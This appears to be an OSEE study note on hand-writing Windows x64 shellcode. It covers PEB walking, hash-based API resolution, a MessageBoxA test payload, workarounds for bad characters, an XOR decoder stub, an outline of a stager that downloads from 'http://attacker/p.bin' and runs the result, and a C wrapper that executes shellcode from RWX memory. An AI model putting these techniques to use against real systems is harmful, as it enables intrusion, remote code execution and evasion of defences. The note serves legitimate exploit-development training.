Custom Windows shellcode writing
TL;DR: Hand-writing Windows shellcode means producing position-independent x86/x64 machine code that locates kernel32.dll without imports, walks the PEB to find LoadLibraryA / GetProcAddress, and calls them to do real work. The OSEE-canonical exercise. Once you can write a 200-byte reverse-shell stager by hand, you understand the constraints msfvenom hides — and you can survive bad-character sets that msfvenom can’t encode through. Companion to stack-bof-walkthrough-end-to-end and c-and-asm-primer.
Constraints of shellcode
- Position-independent — runs at whatever address it lands.
- No imports — no DLL imports, no static addresses.
- Self-contained — strings inline; no
.datasection. - Bad-char-free — typically no
\x00; sometimes also\x0a,\x0d,\x20, etc. - Size-bounded — exploit primitive often constrains payload size.
The PEB walk — locating kernel32
Windows process structure: TEB → PEB → LDR → InMemoryOrderModuleList. Walking the LDR list gives loaded DLLs in order; kernel32.dll is third (ntdll, current EXE, kernel32) — but order depends on Windows version, so search by name hash.
x64 skeleton:
; PEB at gs:[0x60]
mov rax, gs:[0x60] ; rax = PEB
mov rax, [rax + 0x18] ; PEB->Ldr
mov rax, [rax + 0x20] ; Ldr->InMemoryOrderModuleList.Flink
.next_module:
mov rcx, [rax + 0x50] ; LDR_DATA_TABLE_ENTRY->BaseDllName.Buffer (offset for x64)
; hash the name; compare to known hash of "kernel32.dll" (case-insensitive UTF-16)
; if match: mov rbx, [rax + 0x20] ; DllBase
mov rax, [rax] ; Flink → next
jmp .next_module
Offsets within LDR_DATA_TABLE_ENTRY for x64:
BaseDllName.Length= +0x58BaseDllName.Buffer= +0x60 (or +0x50 depending on Win build)DllBase= +0x30- Confirm with
kd> dt nt!_LDR_DATA_TABLE_ENTRY.
Hash-based name lookup
Hardcoding 14-byte “kernel32.dll” wastes space and may trigger bad-chars. Instead, hash each DLL name; compare to precomputed hash.
; Simple ROR-13 hash
xor edx, edx
.hash_loop:
ror edx, 13
add edx, [string_byte]
inc string_byte
test more
jnz .hash_loop
; edx == hash
Hash of “kernel32.dll” (UTF-16, lowercased) = a known 4-byte value. Generate at build time.
Exported function lookup
Within kernel32 PE, the Export Directory contains:
- AddressOfFunctions[] — RVAs to code.
- AddressOfNames[] — RVAs to ASCII names.
- AddressOfNameOrdinals[] — index into AddressOfFunctions for each name.
Algorithm:
mov eax, [rbx + 0x3C] ; rbx = kernel32 base; PE header offset
add rax, rbx ; rax = PE header
mov eax, [rax + 0x88] ; ExportDirectory RVA
add rax, rbx ; rax = ExportDirectory
mov ecx, [rax + 0x18] ; NumberOfNames
mov rdx, [rax + 0x20] ; AddressOfNames RVA
add rdx, rbx
; loop ecx times; for each name (RVA at [rdx + i*4]), hash it; compare to target
; on match: i is the index
; AddressOfNameOrdinals[i] = ordinal
; AddressOfFunctions[ordinal] = RVA of function
You’d typically resolve LoadLibraryA and GetProcAddress from kernel32, then everything else from those.
A worked example — MessageBoxA payload
The “calc-popping” shellcode for testing:
; Resolve kernel32 base via PEB walk → save in rbx
; Resolve LoadLibraryA → save in rdi
; Load user32.dll
sub rsp, 0x28
lea rcx, [rip + user32_str]
call rdi ; LoadLibraryA("user32.dll")
mov rbx, rax ; user32 base
; Resolve MessageBoxA via export walk on user32 → save in rsi
mov rcx, 0 ; hWnd
lea rdx, [rip + text_str]
lea r8, [rip + title_str]
mov r9d, 0 ; MB_OK
call rsi ; MessageBoxA
ret
user32_str: db "user32.dll", 0
text_str: db "pwned", 0
title_str: db "hi", 0
Compile with nasm -f bin, extract bytes, embed in your exploit.
Calling-convention reminders (Win64)
- Args in RCX, RDX, R8, R9; further on stack.
- Stack must be 16-byte aligned at call site.
- Reserve 32 bytes “shadow space” before call (caller-allocated).
- Volatile: RAX, RCX, RDX, R8-R11.
- Non-volatile: RBX, RBP, RDI, RSI, R12-R15.
Bad-character handling
For each forbidden byte, refactor:
\x00(null): substitute withxor eax, eaxfor zero; usexor r9d, r9dinstead ofmov r9, 0.\xCC(int3): avoid debug breakpoints; modify constants.\x0a,\x0d: avoid string terminators that line-based input handlers treat as end.- Encode payload (XOR-encoded with a small decoder stub) if too many bad chars.
Encoders
Wrap shellcode in a tiny decoder:
; XOR decoder, 32-byte payload encoded with key 0xAA
lea rsi, [rip + encoded]
mov rcx, payload_size
.decode_loop:
xor byte [rsi], 0xAA
inc rsi
loop .decode_loop
jmp encoded
encoded: db ... (XOR'd shellcode bytes) ...
Now most bytes are XOR’d; bad chars in the encoded payload can be controlled by choosing a different XOR key.
Stager vs full payload
A small stager (200-500 bytes) downloads and runs a larger payload — useful when the exploit constraint is tight.
Stager outline:
- PEB walk → kernel32 → LoadLibraryA / GetProcAddress → wininet.dll → InternetOpen/InternetConnect/HttpOpenRequest/HttpSendRequest/InternetReadFile.
- Download N bytes from
http://attacker/p.bin. VirtualAlloc+ copy →CreateThreadto the buffer.
Testing
Test your shellcode in a small wrapper:
1
2
3
4
5
unsigned char shellcode[] = "\x..."; // your bytes
void (*f)() = (void(*)())VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
memcpy((void*)f, shellcode, sizeof(shellcode));
f();
Run; calc / message box / reverse shell — confirms the shellcode works.
Test on the target Windows build — PEB offsets change.
Tools
- nasm — assembler.
- msfvenom — for comparison and “good baseline”.
- scdbg — emulates shellcode without running it, useful for static analysis.
- PEview — inspect PE structures while learning.
- shellnoob — encoder helpers.
Why this matters for OSEE
OSEE expects you to:
- Bypass EMET / CFG / CET in ways that constrain shellcode shape.
- Survive bad-character sets msfvenom can’t encode through.
- Land tiny payloads in browser exploitation contexts.
Custom shellcode is the toolbox that makes those bypasses practical.
References
- Skape (Matt Miller) — “Understanding Windows Shellcode”
- Corelan — shellcode tutorial
- Sektor7 — RED Team Operator Malware Development
- windows-syscall-tables — for direct syscall shellcode
- See also: c-and-asm-primer, stack-bof-walkthrough-end-to-end, bad-character-handling, pe-format, pe-backdooring-and-code-caves